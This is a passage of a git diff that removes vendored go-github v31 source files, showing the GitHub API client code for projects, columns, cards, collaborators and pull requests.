GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/projects/ -type ProjectsService service - -// Project represents a GitHub Project. -type Project struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - ColumnsURL *string `json:"columns_url,omitempty"` - OwnerURL *string `json:"owner_url,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // The User object that generated the project. - Creator *User `json:"creator,omitempty"` -} - -func (p Project) String() string { - return Stringify(p) -} - -// GetProject gets a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/#get-a-project -func (s *ProjectsService) GetProject(ctx context.Context, id int64) (*Project, *Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} - -// ProjectOptions specifies the parameters to the -// RepositoriesService.CreateProject and -// ProjectsService.UpdateProject methods. -type ProjectOptions struct { - // The name of the project. (Required for creation; optional for update.) - Name *string `json:"name,omitempty"` - // The body of the project. (Optional.) - Body *string `json:"body,omitempty"` - - // The following field(s) are only applicable for update. - // They should be left with zero values for creation. - - // State of the project. Either "open" or "closed". (Optional.) - State *string `json:"state,omitempty"` - // The permission level that all members of the project's organization - // will have on this project. - // Setting the organization permission is only available - // for organization projects. (Optional.) - OrganizationPermission *string `json:"organization_permission,omitempty"` - // Sets visibility of the project within the organization. - // Setting visibility is only available - // for organization projects.(Optional.) - Public *bool `json:"public,omitempty"` -} - -// UpdateProject updates a repository project. -// -// GitHub API docs: https://developer.github.com/v3/projects/#update-a-project -func (s *ProjectsService) UpdateProject(ctx context.Context, id int64, opts *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} - -// DeleteProject deletes a GitHub Project from a repository. -// -// GitHub API docs: https://developer.github.com/v3/projects/#delete-a-project -func (s *ProjectsService) DeleteProject(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectColumn represents a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/repos/projects/ -type ProjectColumn struct { - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - ProjectURL *string `json:"project_url,omitempty"` - CardsURL *string `json:"cards_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// ListProjectColumns lists the columns of a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#list-project-columns -func (s *ProjectsService) ListProjectColumns(ctx context.Context, projectID int64, opts *ListOptions) ([]*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/%v/columns", projectID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - columns := []*ProjectColumn{} - resp, err := s.client.Do(ctx, req, &columns) - if err != nil { - return nil, resp, err - } - - return columns, resp, nil -} - -// GetProjectColumn gets a column of a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#get-a-project-column -func (s *ProjectsService) GetProjectColumn(ctx context.Context, id int64) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/columns/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// ProjectColumnOptions specifies the parameters to the -// ProjectsService.CreateProjectColumn and -// ProjectsService.UpdateProjectColumn methods. -type ProjectColumnOptions struct { - // The name of the project column. (Required for creation and update.) - Name string `json:"name"` -} - -// CreateProjectColumn creates a column for the specified (by number) project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#create-a-project-column -func (s *ProjectsService) CreateProjectColumn(ctx context.Context, projectID int64, opts *ProjectColumnOptions) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/%v/columns", projectID) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// UpdateProjectColumn updates a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#update-a-project-column -func (s *ProjectsService) UpdateProjectColumn(ctx context.Context, columnID int64, opts *ProjectColumnOptions) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/columns/%v", columnID) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// DeleteProjectColumn deletes a column from a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#delete-a-project-column -func (s *ProjectsService) DeleteProjectColumn(ctx context.Context, columnID int64) (*Response, error) { - u := fmt.Sprintf("projects/columns/%v", columnID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectColumnMoveOptions specifies the parameters to the -// ProjectsService.MoveProjectColumn method. -type ProjectColumnMoveOptions struct { - // Position can be one of "first", "last", or "after:", where - // is the ID of a column in the same project. (Required.) - Position string `json:"position"` -} - -// MoveProjectColumn moves a column within a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#move-a-project-column -func (s *ProjectsService) MoveProjectColumn(ctx context.Context, columnID int64, opts *ProjectColumnMoveOptions) (*Response, error) { - u := fmt.Sprintf("projects/columns/%v/moves", columnID) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCard represents a card in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#get-a-project-card -type ProjectCard struct { - URL *string `json:"url,omitempty"` - ColumnURL *string `json:"column_url,omitempty"` - ContentURL *string `json:"content_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Note *string `json:"note,omitempty"` - Creator *User `json:"creator,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Archived *bool `json:"archived,omitempty"` - - // The following fields are only populated by Webhook events. - ColumnID *int64 `json:"column_id,omitempty"` - - // The following fields are only populated by Events API. - ProjectID *int64 `json:"project_id,omitempty"` - ProjectURL *string `json:"project_url,omitempty"` - ColumnName *string `json:"column_name,omitempty"` - PreviousColumnName *string `json:"previous_column_name,omitempty"` // Populated in "moved_columns_in_project" event deliveries. -} - -// ProjectCardListOptions specifies the optional parameters to the -// ProjectsService.ListProjectCards method. -type ProjectCardListOptions struct { - // ArchivedState is used to list all, archived, or not_archived project cards. - // Defaults to not_archived when you omit this parameter. - ArchivedState *string `url:"archived_state,omitempty"` - - ListOptions -} - -// ListProjectCards lists the cards in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#list-project-cards -func (s *ProjectsService) ListProjectCards(ctx context.Context, columnID int64, opts *ProjectCardListOptions) ([]*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/%v/cards", columnID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - cards := []*ProjectCard{} - resp, err := s.client.Do(ctx, req, &cards) - if err != nil { - return nil, resp, err - } - - return cards, resp, nil -} - -// GetProjectCard gets a card in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#get-a-project-card -func (s *ProjectsService) GetProjectCard(ctx context.Context, cardID int64) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// ProjectCardOptions specifies the parameters to the -// ProjectsService.CreateProjectCard and -// ProjectsService.UpdateProjectCard methods. -type ProjectCardOptions struct { - // The note of the card. Note and ContentID are mutually exclusive. - Note string `json:"note,omitempty"` - // The ID (not Number) of the Issue to associate with this card. - // Note and ContentID are mutually exclusive. - ContentID int64 `json:"content_id,omitempty"` - // The type of content to associate with this card. Possible values are: "Issue" and "PullRequest". - ContentType string `json:"content_type,omitempty"` - // Use true to archive a project card. - // Specify false if you need to restore a previously archived project card. - Archived *bool `json:"archived,omitempty"` -} - -// CreateProjectCard creates a card in the specified column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#create-a-project-card -func (s *ProjectsService) CreateProjectCard(ctx context.Context, columnID int64, opts *ProjectCardOptions) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/%v/cards", columnID) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// UpdateProjectCard updates a card of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#update-a-project-card -func (s *ProjectsService) UpdateProjectCard(ctx context.Context, cardID int64, opts *ProjectCardOptions) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// DeleteProjectCard deletes a card from a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#delete-a-project-card -func (s *ProjectsService) DeleteProjectCard(ctx context.Context, cardID int64) (*Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCardMoveOptions specifies the parameters to the -// ProjectsService.MoveProjectCard method. -type ProjectCardMoveOptions struct { - // Position can be one of "top", "bottom", or "after:", where - // is the ID of a card in the same project. - Position string `json:"position"` - // ColumnID is the ID of a column in the same project. Note that ColumnID - // is required when using Position "after:" when that card is in - // another column; otherwise it is optional. - ColumnID int64 `json:"column_id,omitempty"` -} - -// MoveProjectCard moves a card within a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#move-a-project-card -func (s *ProjectsService) MoveProjectCard(ctx context.Context, cardID int64, opts *ProjectCardMoveOptions) (*Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v/moves", cardID) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCollaboratorOptions specifies the optional parameters to the -// ProjectsService.AddProjectCollaborator method. -type ProjectCollaboratorOptions struct { - // Permission specifies the permission to grant to the collaborator. - // Possible values are: - // "read" - can read, but not write to or administer this project. - // "write" - can read and write, but not administer this project. - // "admin" - can read, write and administer this project. - // - // Default value is "write" - Permission *string `json:"permission,omitempty"` -} - -// AddProjectCollaborator adds a collaborator to an organization project and sets -// their permission level. You must be an organization owner or a project admin to add a collaborator. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#add-user-as-a-collaborator -func (s *ProjectsService) AddProjectCollaborator(ctx context.Context, id int64, username string, opts *ProjectCollaboratorOptions) (*Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v", id, username) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// RemoveProjectCollaborator removes a collaborator from an organization project. -// You must be an organization owner or a project admin to remove a collaborator. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#remove-user-as-a-collaborator -func (s *ProjectsService) RemoveProjectCollaborator(ctx context.Context, id int64, username string) (*Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v", id, username) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ListCollaboratorOptions specifies the optional parameters to the -// ProjectsService.ListProjectCollaborators method. -type ListCollaboratorOptions struct { - // Affiliation specifies how collaborators should be filtered by their affiliation. - // Possible values are: - // "outside" - All outside collaborators of an organization-owned repository - // "direct" - All collaborators with permissions to an organization-owned repository, - // regardless of organization membership status - // "all" - All collaborators the authenticated user can see - // - // Default value is "all". - Affiliation *string `url:"affiliation,omitempty"` - - ListOptions -} - -// ListProjectCollaborators lists the collaborators for an organization project. For a project, -// the list of collaborators includes outside collaborators, organization members that are direct -// collaborators, organization members with access through team memberships, organization members -// with access through default organization permissions, and organization owners. You must be an -// organization owner or a project admin to list collaborators. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#list-collaborators -func (s *ProjectsService) ListProjectCollaborators(ctx context.Context, id int64, opts *ListCollaboratorOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("projects/%v/collaborators", id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ProjectPermissionLevel represents the permission level an organization -// member has for a given project. -type ProjectPermissionLevel struct { - // Possible values: "admin", "write", "read", "none" - Permission *string `json:"permission,omitempty"` - - User *User `json:"user,omitempty"` -} - -// ReviewProjectCollaboratorPermission returns the collaborator's permission level for an organization -// project. Possible values for the permission key: "admin", "write", "read", "none". -// You must be an organization owner or a project admin to review a user's permission level. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#review-a-users-permission-level -func (s *ProjectsService) ReviewProjectCollaboratorPermission(ctx context.Context, id int64, username string) (*ProjectPermissionLevel, *Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v/permission", id, username) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - ppl := new(ProjectPermissionLevel) - resp, err := s.client.Do(ctx, req, ppl) - if err != nil { - return nil, resp, err - } - return ppl, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/pulls.go b/vendor/github.com/google/go-github/v31/github/pulls.go deleted file mode 100644 index 019432659a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/pulls.go +++ /dev/null @@ -1,485 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "strings" - "time" -) - -// PullRequestsService handles communication with the pull request related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/pulls/ -type PullRequestsService service - -// PullRequest represents a GitHub pull request on a repository. -type PullRequest struct { - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Locked *bool `json:"locked,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - MergedAt *time.Time `json:"merged_at,omitempty"` - Labels []*Label `json:"labels,omitempty"` - User *User `json:"user,omitempty"` - Draft *bool `json:"draft,omitempty"` - Merged *bool `json:"merged,omitempty"` - Mergeable *bool `json:"mergeable,omitempty"` - MergeableState *string `json:"mergeable_state,omitempty"` - MergedBy *User `json:"merged_by,omitempty"` - MergeCommitSHA *string `json:"merge_commit_sha,omitempty"` - Rebaseable *bool `json:"rebaseable,omitempty"` - Comments *int `json:"comments,omitempty"` - Commits *int `json:"commits,omitempty"` - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - ChangedFiles *int `json:"changed_files,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - IssueURL *string `json:"issue_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` - CommitsURL *string `json:"commits_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - ReviewCommentsURL *string `json:"review_comments_url,omitempty"` - ReviewCommentURL *string `json:"review_comment_url,omitempty"` - ReviewComments *int `json:"review_comments,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Assignees []*User `json:"assignees,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` - AuthorAssociation *string `json:"author_association,omitempty"` - NodeID *string `json:"node_id,omitempty"` - RequestedReviewers []*User `json:"requested_reviewers,omitempty"` - - // RequestedTeams is populated as part of the PullRequestEvent. - // See, https://developer.github.com/v3/activity/events/types/#pullrequestevent for an example. - RequestedTeams []*Team `json:"requested_teams,omitempty"` - - Links *PRLinks `json:"_links,omitempty"` - Head *PullRequestBranch `json:"head,omitempty"` - Base *PullRequestBranch `json:"base,omitempty"` - - // ActiveLockReason is populated only when LockReason is provided while locking the pull request. - // Possible values are: "off-topic", "too heated", "resolved", and "spam". - ActiveLockReason *string `json:"active_lock_reason,omitempty"` -} - -func (p PullRequest) String() string { - return Stringify(p) -} - -// PRLink represents a single link object from Github pull request _links. -type PRLink struct { - HRef *string `json:"href,omitempty"` -} - -// PRLinks represents the "_links" object in a Github pull request. -type PRLinks struct { - Self *PRLink `json:"self,omitempty"` - HTML *PRLink `json:"html,omitempty"` - Issue *PRLink `json:"issue,omitempty"` - Comments *PRLink `json:"comments,omitempty"` - ReviewComments *PRLink `json:"review_comments,omitempty"` - ReviewComment *PRLink `json:"review_comment,omitempty"` - Commits *PRLink `json:"commits,omitempty"` - Statuses *PRLink `json:"statuses,omitempty"` -} - -// PullRequestBranch represents a base or head branch in a GitHub pull request. -type PullRequestBranch struct { - Label *string `json:"label,omitempty"` - Ref *string `json:"ref,omitempty"` - SHA *string `json:"sha,omitempty"` - Repo *Repository `json:"repo,omitempty"` - User *User `json:"user,omitempty"` -} - -// PullRequestListOptions specifies the optional parameters to the -// PullRequestsService.List method. -type PullRequestListOptions struct { - // State filters pull requests based on their state. Possible values are: - // open, closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Head filters pull requests by head user and branch name in the format of: - // "user:ref-name". - Head string `url:"head,omitempty"` - - // Base filters pull requests by base branch name. - Base string `url:"base,omitempty"` - - // Sort specifies how to sort pull requests. Possible values are: created, - // updated, popularity, long-running. Default is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort pull requests. Possible values are: asc, desc. - // If Sort is "created" or not specified, Default is "desc", otherwise Default - // is "asc" - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// List the pull requests for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-pull-requests -func (s *PullRequestsService) List(ctx context.Context, owner string, repo string, opts *PullRequestListOptions) ([]*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var pulls []*PullRequest - resp, err := s.client.Do(ctx, req, &pulls) - if err != nil { - return nil, resp, err - } - - return pulls, resp, nil -} - -// ListPullRequestsWithCommit returns pull requests associated with a commit SHA. -// -// The results will include open and closed pull requests. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list-pull-requests-associated-with-commit -func (s *PullRequestsService) ListPullRequestsWithCommit(ctx context.Context, owner, repo, sha string, opts *PullRequestListOptions) ([]*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/pulls", owner, repo, sha) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeListPullsOrBranchesForCommitPreview, mediaTypeDraftPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - var pulls []*PullRequest - resp, err := s.client.Do(ctx, req, &pulls) - if err != nil { - return nil, resp, err - } - - return pulls, resp, nil -} - -// Get a single pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#get-a-single-pull-request -func (s *PullRequestsService) Get(ctx context.Context, owner string, repo string, number int) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - pull := new(PullRequest) - resp, err := s.client.Do(ctx, req, pull) - if err != nil { - return nil, resp, err - } - - return pull, resp, nil -} - -// GetRaw gets a single pull request in raw (diff or patch) format. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#get-a-single-pull-request -func (s *PullRequestsService) GetRaw(ctx context.Context, owner string, repo string, number int, opts RawOptions) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - - switch opts.Type { - case Diff: - req.Header.Set("Accept", mediaTypeV3Diff) - case Patch: - req.Header.Set("Accept", mediaTypeV3Patch) - default: - return "", nil, fmt.Errorf("unsupported raw type %d", opts.Type) - } - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// NewPullRequest represents a new pull request to be created. -type NewPullRequest struct { - Title *string `json:"title,omitempty"` - Head *string `json:"head,omitempty"` - Base *string `json:"base,omitempty"` - Body *string `json:"body,omitempty"` - Issue *int `json:"issue,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` - Draft *bool `json:"draft,omitempty"` -} - -// Create a new pull request on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#create-a-pull-request -func (s *PullRequestsService) Create(ctx context.Context, owner string, repo string, pull *NewPullRequest) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls", owner, repo) - req, err := s.client.NewRequest("POST", u, pull) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - p := new(PullRequest) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// PullRequestBranchUpdateOptions specifies the optional parameters to the -// PullRequestsService.UpdateBranch method. -type PullRequestBranchUpdateOptions struct { - // ExpectedHeadSHA specifies the most recent commit on the pull request's branch. - // Default value is the SHA of the pull request's current HEAD ref. - ExpectedHeadSHA *string `json:"expected_head_sha,omitempty"` -} - -// PullRequestBranchUpdateResponse specifies the response of pull request branch update. -type PullRequestBranchUpdateResponse struct { - Message *string `json:"message,omitempty"` - URL *string `json:"url,omitempty"` -} - -// UpdateBranch updates the pull request branch with latest upstream changes. -// -// This method might return an AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it has now scheduled the update of the pull request branch in a background task. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#update-a-pull-request-branch -func (s *PullRequestsService) UpdateBranch(ctx context.Context, owner, repo string, number int, opts *PullRequestBranchUpdateOptions) (*PullRequestBranchUpdateResponse, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/update-branch", owner, repo, number) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeUpdatePullRequestBranchPreview) - - p := new(PullRequestBranchUpdateResponse) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -type pullRequestUpdate struct { - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - State *string `json:"state,omitempty"` - Base *string `json:"base,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` -} - -// Edit a pull request. -// pull must not be nil. -// -// The following fields are editable: Title, Body, State, Base.Ref and MaintainerCanModify. -// Base.Ref updates the base branch of the pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#update-a-pull-request -func (s *PullRequestsService) Edit(ctx context.Context, owner string, repo string, number int, pull *PullRequest) (*PullRequest, *Response, error) { - if pull == nil { - return nil, nil, fmt.Errorf("pull must be provided") - } - - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - - update := &pullRequestUpdate{ - Title: pull.Title, - Body: pull.Body, - State: pull.State, - MaintainerCanModify: pull.MaintainerCanModify, - } - // avoid updating the base branch when closing the Pull Request - // - otherwise the GitHub API server returns a "Validation Failed" error: - // "Cannot change base branch of closed pull request". - if pull.Base != nil && pull.GetState() != "closed" { - update.Base = pull.Base.Ref - } - - req, err := s.client.NewRequest("PATCH", u, update) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - p := new(PullRequest) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// ListCommits lists the commits in a pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-commits-on-a-pull-request -func (s *PullRequestsService) ListCommits(ctx context.Context, owner string, repo string, number int, opts *ListOptions) ([]*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/commits", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var commits []*RepositoryCommit - resp, err := s.client.Do(ctx, req, &commits) - if err != nil { - return nil, resp, err - } - - return commits, resp, nil -} - -// ListFiles lists the files in a pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-pull-requests-files -func (s *PullRequestsService) ListFiles(ctx context.Context, owner string, repo string, number int, opts *ListOptions) ([]*CommitFile, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/files", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var commitFiles []*CommitFile - resp, err := s.client.Do(ctx, req, &commitFiles) - if err != nil { - return nil, resp, err - } - - return commitFiles, resp, nil -} - -// 